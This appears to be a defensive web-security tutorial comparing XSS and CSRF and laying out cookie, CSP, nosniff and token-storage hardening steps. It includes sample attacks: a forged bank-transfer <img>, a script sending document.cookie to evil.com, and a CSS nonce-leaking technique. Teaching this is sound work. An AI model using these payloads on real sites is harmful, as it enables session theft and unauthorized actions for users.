XSS and CSRF: which defense stops which attack

securityxsscsrfwebcookie

You're logged into bank.com. In another tab you open evil.com. The page contains:

<img src="https://bank.com/transfer?to=evil&amount=1000">

Your browser issues a request to bank.com. For years, browsers sent your bank.com session cookie along with any request to bank.com, whichever page started it. (A session cookie is the small value bank.com set when you logged in; the server reads it to know the request is yours.) The transfer goes through.

That's CSRF, cross-site request forgery. You didn't click anything. The attacker borrowed your logged-in session by tricking your browser into making a request.

Does that <img> still work today? Mostly not. Testing with a local HTTPS server playing bank.test and evil.test: Chrome for Testing 156 sent only a cookie marked SameSite=None: since Chrome 80 (rolled out during 2020), a cookie with no SameSite attribute is treated as SameSite=Lax, which keeps it off requests that another site's images start. Firefox 159 sent no cookie at all, because its Total Cookie Protection (on by default since June 2022) gives bank.test a separate, empty cookie jar when it is loaded inside evil.test. Safari has blocked cookies on cross-site requests like this one by default since 13.1 (March 2020, per WebKit).

Swap the <img> for a form that submits a POST to bank.test/transfer by itself, and the cookie comes back in two cases. Firefox sent the cookie that had no SameSite, because Firefox does not default to Lax. Chrome sent it too, but only while the cookie was under two minutes old, a temporary exception that Chromium's SameSite updates page calls "Lax + POST". 130 seconds after login, it was no longer sent. Cookies marked SameSite=Lax or Strict were not sent in any of these cases. So CSRF is narrower than it was, but a cookie without SameSite is still exposed.


Now a different scenario. You visit forum.com and read someone's comment. The comment contains:

<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

If forum.com put the comment into the page as raw HTML without escaping it (turning < into &lt; so it shows as text), the script runs inside forum.com's origin. An origin is scheme + host + port, here https://forum.com; the browser keeps each origin's data apart, and code running in one origin can touch everything that origin owns. So the script gets the page's DOM, its cookies (unless they are marked HttpOnly), and its localStorage. The attacker reads your session.

That's XSS, cross-site scripting. The attacker injected code that runs as if forum.com wrote it.


Picture the site you're logged into as an apartment building. The server is the building manager, and you have a unit inside. Your browser is a courier who carries the key to your unit: the session cookie. Each request is an order slip. When the courier brings a slip into the building he shows the key, and the manager, seeing the key, does what the slip says.

The two attackers stand in different places. The CSRF one is outside. He has no key, so he hands the courier a forged slip from another site's page; the courier shows your key anyway, and the manager carries it out. The XSS one gets his slips into your own page. When a site puts someone else's comment into your page as raw HTML, it has left a field in your order book for a stranger to fill in. Slips written from that field look like yours to the courier and to the manager, and the stranger can also read every page of your order book.


Two attacks, two threat models

XSS: code I didn't write running in my origin. Attacker delivers payload via stored content (comments, profile fields), reflected URL parameters, or DOM manipulation. Once it runs, it has full origin privileges: read non-HttpOnly cookies, localStorage, page state. Issue requests as user. The trust it exploits is the page's trust in user-supplied content.

CSRF: my browser sending a request I didn't intend. Attacker controls a different origin, embeds something (image, form, fetch) that triggers a request to the target. Browser attaches the target's cookies automatically wherever the cookie's settings allow it, and the server can't tell from the cookie alone that you never meant to send the request. The trust it exploits is the browser's automatic cookie attachment.


Architecture decides the threat surface

How your app authenticates determines which threat dominates.

Cookie sessions (server sets a session cookie, browser sends it automatically on requests to that server):

  • Vulnerable to CSRF. A request started by another site can carry your cookie, unless SameSite (below) stops it.
  • XSS still dangerous. Reads non-HttpOnly cookies, issues same-origin requests with full session.

Token auth (a JWT, JSON Web Token, or similar string that your own JavaScript puts in the Authorization header of each request):

  • CSRF largely goes away. No cookie auto-attaches, so a forged request lacks credentials.
  • XSS becomes the main threat. If the token sits in localStorage, an XSS payload reads it and is now the user, on any device, until expiry.

Modern SPAs often use tokens. Apps rendered on the server usually use cookies.


XSS defenses, layered

LayerWhoWhat
Output encodingClientUse the framework's interpolation ({value}). Stop reaching for innerHTML / dangerouslySetInnerHTML / v-html.
SanitizationClientWhen you must render user HTML, run it through DOMPurify, which strips scripts and event handlers. Don't roll your own.
Content Security PolicyServerscript-src 'self' 'nonce-RANDOM'. A response header listing which scripts may run. Anything that doesn't fit gets rejected by the browser.
HttpOnly cookiesServerSet-Cookie: ...; HttpOnly. JS can't read it, but requests XSS sends still carry it; see "HttpOnly limits damage, it doesn't stop XSS" below.
Stored content sanitizationServerClean on input. Clean on output too, in case something got stored before the input check existed.
X-Content-Type-OptionsServernosniff. Browser stops guessing what a file is from its bytes, so a stored file served without a type isn't guessed into a page, and a file without a JavaScript type can't be loaded as a script.
Trusted TypesClient + ServerCSP directive (require-trusted-types-for 'script'). Assigning a plain string to a sink such as innerHTML throws. A policy is a function you register, e.g. trustedTypes.createPolicy('app', { createHTML: s => DOMPurify.sanitize(s) }); calling policy.createHTML(str) wraps the function's return value in a TrustedHTML object, and the sink accepts only such objects. A policy written as s => s lets any string through unchanged.

A sink is any API that turns a string into markup or code: innerHTML, outerHTML, document.write, eval. The first two rows handle most of the job, and the rest are there as extra safety nets.

Trusted Types catch the bug when the line runs, not at build time. Chrome for Testing 156 threw TypeError: ... This document requires 'TrustedHTML' assignment, Firefox 159 threw Sink type mismatch violation blocked by CSP. Tests that reach that line will see the error. Support: Chrome 83, Firefox 148, Safari 26.

CSP's nonce is a random value used once. With script-src 'self' 'nonce-abc123', the server stamps every legitimate <script> tag with nonce="abc123", and the browser executes only the inline tags carrying it (plus script files from your own origin, which is what 'self' allows). Injected scripts don't have it, and the server picks a new nonce for every response, so one seen on an old page is useless on the next.

Deeper: why XSS can't fake the nonce

If the attacker can only inject markup, such as a comment, he has to write the nonce into his own <script> before the page is sent. But the server generates a new nonce for every response, so he can't know it in advance.

What about reading it off the page? When CSP comes in a response header, the browser empties every nonce attribute, and only scripts already running can read the original value from the .nonce property:

document.querySelector('script').getAttribute('nonce')  // ""
document.querySelector('script').nonce  // "abc123"

The attribute is emptied so injected CSS can't read the nonce. The attacker's CSS could write one rule per possible character, script[nonce^="a"], script[nonce^="b"], and so on, each loading a background image from a different URL. Whichever character the nonce starts with, that rule matches, and the attacker's server receives the request for that image. As long as the page isn't reloaded, the nonce stays the same. The injected CSS uses @import to ask the attacker's server for the next stylesheet, and the server holds the response until the image request reveals the first character, then answers with rules for the second character, such as script[nonce^="ab"]. Repeating this spells out the whole nonce. With the attribute emptied, none of these rules match. Chrome for Testing 156 and Firefox 159 both empty it. If the CSP is sent in a <meta> tag instead, the attribute stays, and the trick can still work.

If the nonce is hard-coded or the random value is too short, the attacker may guess it.

Without 'unsafe-eval', CSP blocks eval. With it, if a script already on the page passes a URL parameter to eval, the attacker only has to put his code in that parameter and get the user to open the URL, and his code runs.

With 'strict-dynamic', a script that has the nonce can load other scripts, and those run without a nonce. So if one of them is a loader that loads scripts based on a URL parameter, the attacker can load his own code through it. 'unsafe-inline' next to a nonce is harmless, though: when a nonce is present, the browser ignores 'unsafe-inline'.

Deeper: nosniff is a serve-back decision, not an upload one

X-Content-Type-Options and the Content-Type it protects are both set by your server when it sends a stored file back, not when the file is uploaded. They are two separate trips:

  • Upload (a user sends you a file). The Content-Type on that request is whatever the uploader chose, so it is attacker-controlled. Don't store it and reuse it later.
  • Serve-back (your server returns the file to a viewer). Here your server sets the Content-Type itself, normally from the file extension (.png becomes image/png), and adds nosniff. This response is where the decision happens.

nosniff tells the viewer's browser to trust the Content-Type from the serve-back and never re-guess it from the bytes. So it only protects you if that Content-Type is correct. Serve it as text/html because you copied the uploader's value, and nosniff will trust that and render a page. The header only enforces your label, so the label has to be right first.

Where does the guessing actually happen? Tested on Chrome for Testing 156 and Firefox 159: one stored file whose bytes are an HTML page with a <script>, served under different labels, opened directly in the tab.

Content-Type sentwithout nosniffwith nosniff
nonescript ran (browser guessed HTML)did not run
text/plaindid not rundid not run
image/pngdid not rundid not run
text/htmlranran

A correct image/png label was already enough; neither browser turned an image label into a page. nosniff matters when the label is missing. It matters more for the second way to run a file: a <script src="/uploads/x.txt"> tag. script-src 'self' allows any file from your own origin, uploads included. A stored file whose bytes are JavaScript, loaded that way:

Content-Type sentwithout nosniffwith nosniff
none, text/plain, text/html, application/octet-streamran as scriptblocked
image/pngblockedblocked

With nosniff, both browsers refused to run a script file under every non-JavaScript label tested, so an upload served under its real type can't pass for one of your scripts.

The victim is a third party: an attacker uploads a file with a script inside, your server stores it, and a different user opens its URL. Loaded through <img>, the same file only ever decodes as image bytes and never runs.

Important: HttpOnly limits the damage, does not prevent XSS

HttpOnly stops XSS from reading the cookie value. It does not stop XSS from using the session. XSS can still run fetch('/transfer', ...) from inside the origin, and the browser auto-attaches the HttpOnly cookie. The server authenticates the request normally. On Chrome for Testing 156 and Firefox 159, document.cookie listed every cookie except the HttpOnly one, and a same-origin fetch POST still carried it.

CapabilityWithout HttpOnlyWith HttpOnly
XSS reads document.cookie✅❌
XSS exfiltrates cookie to attacker server✅❌
XSS issues authenticated requests in victim's browser✅✅
Attack persists after victim closes the tab✅❌
Cookie replayed from a different device✅❌

Rows two and three both look like XSS sending a request, but they end differently, because the browser only attaches a cookie to requests going to the site that set it. A request from XSS to evil.com carries evil.com's cookies, not bank.com's. So to hand the session to the attacker, the script first has to read the value from document.cookie and put it in a URL or a body. With HttpOnly, the cookie isn't in document.cookie, so the script can't read the value and has nothing to send. Requests XSS sends to bank.com do carry the cookie, but its value stays inside the browser; the attacker never gets it and can only borrow the session while the tab is open.

Set HttpOnly anyway. Without it, the attacker walks away with a cookie that works from his own machine until the server ends the session. With it, he can only act through the victim's open tab, while it stays open. But don't treat it as the XSS defense. The actual XSS defense is output encoding + CSP.

Deeper: in-memory tokens are still XSS-readable

Putting a JWT or access token in memory (Zustand, React context, plain module variable) is better than localStorage, not safe from XSS. XSS runs in your origin. Any JS-reachable state is reachable:

// XSS payload, knowing the store
useAuthStore.getState().token
// or walking the React fiber tree from a DOM node to component state

The advantages over localStorage are real but they're about limiting the damage, not invisibility:

  • Harder for a generic XSS payload. localStorage.getItem('token') works the same on every site. Reading a Zustand store needs a reference to that app's store, which differs per app, so a payload written for many sites at once finds localStorage tokens easily and in-memory ones only with app-specific work.
  • When the tab closes, the token goes with it. A payload has to run while the token is in memory. A localStorage token sits on disk across reloads and restarts, so any XSS that runs later, even days later, still finds it.

This is weaker than HttpOnly. An HttpOnly cookie can't be read at all, but an in-memory token that a payload does read can be sent to the attacker's server and replayed from any device until it expires. What limits that is the token's lifetime. Hence short-lived access tokens (5-15 min) with the long-lived refresh token in an HttpOnly cookie: a stolen access token works for minutes, not days. But while the payload runs, it can call /auth/refresh itself, the browser attaches the refresh cookie, and each call returns a new access token it can send out. Only after the payload stops does the last token it sent out run down its few minutes. Once the victim closes the tab, the attacker can't get new access tokens. The refresh token is in an HttpOnly cookie, so he can't read it and can only call /auth/refresh through the victim's open tab. If instead the refresh token sits where JS can read it, the attacker can steal it and keep minting access tokens until the refresh token itself expires, whether or not the victim's tab is still open.


CSRF defenses, layered

Read this whole table assuming XSS is already prevented. Almost every CSRF defense here stops working once an attacker has XSS, because XSS runs as your own origin and reads the token, the DOM, and the page state directly. The "Still works under XSS?" column makes that dependency visible.

LayerWhoWhatStill works under XSS?
SameSite cookieBrowser + ServerSet-Cookie: ...; SameSite=Lax. The courier won't show your key on slips handed over from another site. The exception: you click a link on another site, the whole tab switches to your site, and the request is a GET. Blocks cross-site sub-resource requests and cross-site form POSTs. Chrome treats a cookie with no SameSite as Lax since Chrome 80 (2020); Firefox and Safari don't, so set it explicitly.No. XSS runs same-site, cookie attaches normally.
SameSite=StrictServerSet-Cookie: ...; SameSite=Strict. Even following a link from another site to yours skips the cookie on that first request. Use for admin / financial endpoints.No. Same reason.
CSRF tokenClient + ServerA code word printed only in your own order book. Server plants a random token in the form / response. State-changing requests must send it back. evil.com can't read your page, because the same-origin policy (SOP) stops one origin from reading another's responses, so it can't forge the token.No. XSS reads it from the DOM and includes it.
Origin / Referer checkServerThe slip says which site handed it over. Browsers add an Origin header to POST requests. If a request to your /transfer carries Origin: https://evil.com, reject it.No. XSS requests carry your real Origin.
Verb disciplineServerGET never changes state. Image tags can fire GET, not POST. Forces attackers to write more.No. XSS does any verb.
Skip cookiesArchitectureJWT in Authorization header. No auto-attach, no CSRF surface.No, worse. localStorage JWT is one line away from XSS.
Re-auth / MFA on sensitive opsServer + Client + UserThe manager phones you before opening the safe. Re-enter password, type an authenticator code (TOTP), or tap a security key (WebAuthn) before high-impact actions.Partly. XSS can't supply your password or tap your key by itself. But it controls the page, so it can show a real-looking prompt and wait for you to fill it in. It now needs your cooperation, so it can no longer act silently.

Why XSS dominates

The table above already showed why: under XSS every standard CSRF layer stops working. OWASP's CSRF cheat sheet says it in one line: "Cross-Site Scripting (XSS) can defeat all CSRF mitigation techniques!" Re-auth is the one layer that still slows XSS down, because XSS doesn't have your password or your key and has to get you to hand them over.

Practical priority:

  1. Stop XSS first. Framework auto-escape + CSP + sanitize stored input + nosniff, with HttpOnly capping the damage.
  2. Then layer CSRF defenses on top. SameSite + token + Origin check. These add value only when XSS is already prevented.
  3. For high-stakes operations, add re-auth or MFA. It still means something after a successful XSS: the attacker has to trick you into confirming, instead of acting alone.

What I'd do today

Same defenses, assembled per architecture. Each ladder starts from the naive version and adds one layer at a time.

Harden a cookie-session app, step by step

The three anti-XSS pieces come first; call them the foundation: CSP nonce, framework auto-escape, and nosniff. Once XSS gets in, SameSite, the CSRF token, and the Origin check stop working, and HttpOnly only limits the damage.

To harden an existing app, follow steps 0 to 6 below in order. CSP nonce means changing every template and auditing every third-party script, the most work of any step, so it sits at step 4 and the cheap steps go first. The table lists each layer's cost and defense value:

LayerCostValue
HttpOnly + Secureone line eachcaps damage, does not stop the attack
nosniffone linecloses one XSS path: an uploaded file loaded with <script src> while served under a non-JavaScript type no longer runs. XSS that gets in any other way is unaffected
SameSiteone linestops classic CSRF from other sites, nothing from your own subdomains, nothing else
CSRF tokenwire every formstops working once XSS gets in
CSP noncereal project work: the server generates a nonce per request, every template injects it, every third-party script gets audited. Miss one and the page breakshighest value in the stack. It stops injected script before it runs, and XSS is the attack that gets past every other layer

An existing app goes in this order so hardening doesn't break it. The expensive, high-value CSP waits until you can schedule it.

0. Bare cookie. Everything is exposed: XSS can read it, CSRF can use it, and it travels in plaintext.

Set-Cookie: session=abc123

1. Lock the cookie down, and ship the free header while you are here. HttpOnly stops JS reading it, Secure keeps it off plaintext HTTP. nosniff is one line and belongs in this batch, even though it defends the script-execution layer covered in step 4.

Set-Cookie: session=abc123; HttpOnly; Secure; Path=/
X-Content-Type-Options: nosniff

XSS can no longer exfiltrate it. It can still use the session from inside the page, so this is a downgrade, not a cure.

2. Stop classic CSRF with SameSite. Cross-site sub-resource requests (the <img src="bank.com/transfer"> trick) and cross-site form POSTs stop carrying the cookie. Chrome already treats a bare cookie as Lax, but writing it out also closes Chrome's two-minute POST exception, and makes Firefox and Safari behave the same way.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Use SameSite=Strict for admin and money endpoints.

3. Add a CSRF token on state-changing requests, since SameSite leaves gaps. "Site" means scheme plus registrable domain, so https://evil.bank.com is the same site as https://bank.com; a subdomain someone else controls (a forgotten one taken over, a user-content host) passes every SameSite check. In testing, an <img> and a form POST on evil.bank.test both carried the bank.test cookie marked Strict, in Chrome and in Firefox. The Origin header still said https://evil.bank.test, which is why step 5 helps here. Lax also still sends the cookie when another site links to one of your GET URLs, so a GET that changes state is exposed.

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="{{ csrfToken }}">
</form>
// server, on POST. Check both exist: undefined !== undefined is false, so a session
// with no token and a request with no token would otherwise pass.
if (!session.csrfToken || req.body.csrf_token !== session.csrfToken) return res.status(403).end()

4. The foundation, written out. CSP nonce and framework auto-escape (nosniff already shipped in step 1). This is the foundation from the top of this list. If you started a fresh project here, the box is already ticked and everything above was the cheap hygiene you layered on after.

Content-Security-Policy: script-src 'self' 'nonce-RANDOM'
<div>{userInput}</div>   // safe, the framework escapes it
// never feed user data to dangerouslySetInnerHTML / v-html / innerHTML

5. Reject foreign Origin on state-changing routes. Cheap second layer. Browsers sent Origin on every POST in testing, same-origin form and fetch included, and left it off plain GETs, so check it on the methods that change state. A missing Origin on a POST is no proof it came from you; this check rejects it too.

if (req.method === 'POST' && req.headers.origin !== 'https://bank.com') return res.status(403).end()

6. Re-auth on the dangerous stuff. Transfer money, change email, delete account: re-enter password or tap a security key. If XSS gets in, this is the one layer that still makes it ask you first.

Harden a JWT app, foundation first

Do the foundation before you touch the token. Everything about where the token lives (A, B, C below) only limits the damage once XSS is already in. One layer keeps XSS out in the first place, so it comes first.

D. The foundation: stop XSS from running at all. CSP nonce, framework auto-escape, nosniff, and re-auth on sensitive ops. A token sitting in localStorage behind solid CSP can be safer than a perfectly placed token with no CSP, because the second app still lets injected script run. This is the one layer that keeps the attacker out instead of just limiting the damage.

Content-Security-Policy: script-src 'self' 'nonce-RANDOM'
X-Content-Type-Options: nosniff

Then choose where the token lives. These are lettered, not numbered like the cookie ladder above, because you pick one, not all: A, B, and C answer the single question of where the token sits, and each replaces the one before. Pick the furthest you can reach.

A. Token in localStorage. The worst. One XSS line steals it, and it replays from any device until expiry.

localStorage.setItem('token', jwt)   // don't

B. Token in memory. A module variable or store, never persisted. It disappears when the tab closes, so an XSS that runs later finds nothing. XSS that runs while the tab is open can still read it and send it away, and that copy works until the token expires. Replaces A.

let accessToken = null
function setToken(t) { accessToken = t }

C. Short-lived access token in memory, refresh token in an HttpOnly cookie. The access token lives 5-15 min in a memory variable; the refresh token goes somewhere JS can never read. Replaces B.

Set-Cookie: refresh=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh
// silent refresh, the browser sends the refresh cookie on its own
const res = await fetch('/auth/refresh', { credentials: 'include' })
accessToken = (await res.json()).accessToken

An XSS payload can't read the refresh token, but it can run these same two lines. In testing, a script on the page called /auth/refresh three times and read three new access tokens, in both browsers. It is the HttpOnly caveat again: the cookie can't be read, but it can still be used. So while the tab stays open, the payload can get a fresh token every few minutes and send each one out. The short lifetime limits what happens after the tab closes: the last token sent out stops working within minutes, and the refresh token never left the browser.

The refresh cookie auto-attaches, so /auth/refresh has a CSRF surface of its own. SameSite=Strict on that one cookie closes it to other sites; a sibling subdomain is same site and still gets it, so check Origin on this endpoint too. Strict doesn't break the normal flow: in testing, a user who arrived from another site's link and whose page then called /auth/refresh sent the Strict cookie, because that call starts from your own page. You've shrunk CSRF from the whole app to a single endpoint.

The strongest JWT app is D plus C: keep XSS out. If it ever gets in, it can still get fresh tokens through /auth/refresh for as long as the victim's tab is open; C only makes sure that what it sent out stops working minutes after the tab closes. No CSRF token is needed while auth stays in the header, since the JWT doesn't auto-attach. Any route still on cookie auth is a cookie app, defend it as one.


References